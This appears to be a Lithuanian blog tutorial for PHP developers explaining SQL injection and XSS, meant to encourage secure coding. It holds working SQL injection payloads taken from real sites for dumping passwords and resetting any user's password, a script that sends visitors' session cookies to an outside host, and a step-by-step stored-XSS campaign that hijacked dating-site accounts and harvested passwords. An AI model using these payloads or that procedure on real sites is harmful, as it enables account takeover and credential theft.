Kas nutiktų, jei kiekvienas pasaulio gyventojas turėtų po automatinį ginklą? Turbūt įsivyrautų anarchija ir chaosas.
PHP yra viena iš lengviausiai įsisavinamų programavimo kalbų, o atsižvelgiant į tai, kad nuolat didėja žmonių žingeidumas ir domėjimasis IT, tai dažnas jų bando kurti web sprendimus, kas ir yra (web sprendimai) tie automatiniai ginklai apie kuriuos užsiminiau.
Programos yra skirtos apdoroti ir dirbti su dideliais duomenų kiekiais, o informacijos valdymas šiais laikais ir yra didžiausias ginklas, juk ne veltui sakoma – kas valdo informaciją, tas valdo pasaulį. Kasdien mes registruojamės įvairiuose interneto platybių vietose ir ten pateikiame savo duomenis, slaptažodžius. O kas būtų, jei vieną dieną visai tai būtų paviešinta? Turbūt nieko gero...
O dabar prie techninių detalių. Iš patirties galiu pasakyti, kad būdų (kalbu apie web) rasti priėjimą prie įmonės duomenų yra N, bet šįkart norėčiau aptarti dažniausiai pasitaikančius du, kurie yra lengviausiai aptinkami ir išnaudojami.
SQL injection
SQL injekcijos tikslas yra išnaudoti galimybę pateikti formos arba GET užklausos kintamajį taip, kad galėtume pakoreaguoti originalią užklausą savo naudai. Niekada nemėgau teorijos ir visada buvau praktikas, tai tikiu, kad ir jums pavyzdys bus patogiau:
Taip atrodo kodas, esantis serveryje.
$vartotojas=$_POST[„user“];
$uzklausa="SELECT * FROM users WHERE name='$vartotojas’";
O kas būtų, jei vartotojo langelyje įrašytume
' or '1'='1 ?
Rezultatas gautųsi toks:
$uzklausa="SELECT * FROM users WHERE name='’ or ‘1’=’1’";
Suformavę tokią užklausą gauname, kad visada yra tenkinama sąlyga, nes 1 visada lygu 1. Tai buvo pats paprasčiausias pavyzdys, kuris pateikiamas kiekviename SQL injection straipsnyje, bet jei manote, kad viskas čia tuo ir apsiriboja, tai galiu pasakyti, kad klystate, nes realioje situacijoje tenka pakankamai pavargti, kartais ir paspėlioti, kol perprantama, kaip teisingai suformuoti užklausą.
Turiu vieną katalogą, kuriame kartais išsisaugau tokius dalykus, tai štai jums gyvenimiškesni pavyzdžiai:
Čia per slaptažodžio priminimo formą galėjau atsisiųsti kitų vartotojų slaptažodžius
' or email='
[email protected]' union select '
[email protected]',concat(email,':',DECODE(password,'client')) from clients limit 100,1 #
Čia per slaptažodžio keitimo formą galėjau pakeisti slaptažodį betkuriam vartotojui.
', 'site_administrators') or password=password AND id = '458' AND 'a'='a' #
Čia reikėjo sužinoti lentelės stulpelių pavadinimus žinant jos pavadinimą.
' limit 0 union select 1,(SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='users' limit 0,1) COLLATE utf8_unicode_ci,3,4,5,6,7,8,9 from users where password!='admin' or '
Traukiu slaptažodžius
' limit 0 union select 1,(SELECT CONCAT(id,'|',namex,'|',passwordx,'|',permission,'|',email,'|',u_name,'|',u_surname,'|',company,'|',admin_title) FROM users limit 0,1),3,4,5,6,7,8,9 from users where password!='admin' or '
Aš čia tikrai nesurašysiu visų galimų atvejų, nes tai būtų neįmanoma, o kiekvienas toks potyris yra unikalus, bet noriu sudominti, kad domėtumėtės ir bandytumėte, nes jūs niekada neparašysite saugaus kodo, kol į viską nepažvelgsite iš tos kitos pusės – saugumo specialisto pusės.
XSS (Cross site scripting)
„<script>alert(„Jūs buvote nulaužtas“)</script> bla=”
Tai yra XSS atakos pavyzdys, bet jo panaudojimas yra pateiktas iš standartinių XSS pavyzdžių. Pirmiausiai aptarkime jo technines panaudojimo galimybes, o tada prieisime prie jo praktiškesnio panaudojimo galimybių.
HTML laukelis
<input type=”text” value=”<?=$_GET[‘kintamasis1’]?>”>
Suformuota užklausa
www.svetaine.lt/?kintamasis1=x“ <script>alert(„Jūs buvote nulaužtas“)</script
Rezultatas HTML’E
<input type=”text” value=”x” <script>alert(„Jūs buvote nulaužtas“)</script>“
Rezultatas svetainėje yra akivaizdžiai matomas – jums iššoks lentelė, kad buvote nulaužtas. Tačiau tai, kad jūs pamatysite tokią lentelę naudos neduoda, tačiau dažnai galima susidurti su problema, kai tokie duomenys yra išsaugomi duomenų bazėje ir jie atvaizduojami kitiems lankytojams. Bet vėl gi, kokia jums nauda, jei ši lentelė iššoks kažkam? Atsakymas paprastas – jokios.
<script>document.location='http://www.tavosvetaine.lt/skriptas.php?sesija='+document.cookie</script>
Štai čia ir prasideda visas įdomumas. Pateiktame pavyzdyje lankytojas yra nukreipiamas į jūsų svetainės skriptą, kuriam perduodamas lankytojo sesijos ID. Toliau yra tik vienas kelias. Jūsų skriptas turėdamas sesijos ID gali naudodamas CURL biblioteką prisijungti prie „aukos“ paskyros ir atlikti jums reikalingus veiksmus (keisti duomenis ir pan.).
Žinau, kad laukiate realaus pavyzdžio, tai jūsų negalima nuvilti. Anksčiau šis pažeidžiamumas egzistavo vienoje pažinčių svetainėje, kai savo anketos formoje galėjai įrašyti tokį kodą. Kaip tai buvo galima išnaudoti? Slaptažodžiai pas juos DB buvo nekoduojami (slaptažodžio priminimo funkcija atsiunčia ne naują slaptažodį, o esantį).
Eiga:
Patalpinama kodą savo anketoją ir paruošiame skriptą, kuris perims sesijos duomenis.
Užeiname į kelių narių anketas ir 90% jų aplanko tavąją.
Perimamme jų sesijos ID ir pakeičiame jų paskyros el. paštą į savo.
Atsisiunčiame slaptažodį.
El. paštą atstatome į originalų, kad liktume nepastebėti.
Jų anketoje įdiegiame kenksmingą javascript.
Rezultate gausime, kad kenksmingas kodas labai greit išplis per visų narių anketas, o į mūsų pašto dėžutę suplauks daugybė slaptažodžių.
Apibendriminas
Šį straipsnį rašiau ne tam, kad jis būtų panaudotas blogiems tikslams, bet atvirkščiai – kad taptumėte geresniais programuotojais. Pasirinkdami šią specialybė jūs privalote suprasti, jog jūsų rankose bus neįkainuojama informacija, kurią jums patikės jūsų darbdaviai, klientai, o vieną kartą juos nuvylę daugiau galite ir nebe susigrąžinti. Tikiuosi, kad šis straipsnis padės jums suvogti, jog neužtenka vien sukurti produktą, bet reikia, kad jis būtų ir saugaus, nes šiuolaikinis verslas yra informacijos verslas.
P.S Apmaudu, kad savo praktikoje teko susidurti su ne vienu vadovu, kurie investuoja didžiules sumas į produktų sukūrimą, bet visiškai neįvertina fakto, kad jų verslas gali būti sužlugdytas per 1 valandos saugumo auditą. Šioje vietoje įžvelgiu labai gerą verslo nišą, nes Lietuvoje yra tik kelios rimtos įmonės, kurios gali atlikti saugumo auditus, bet viskam savas laikas...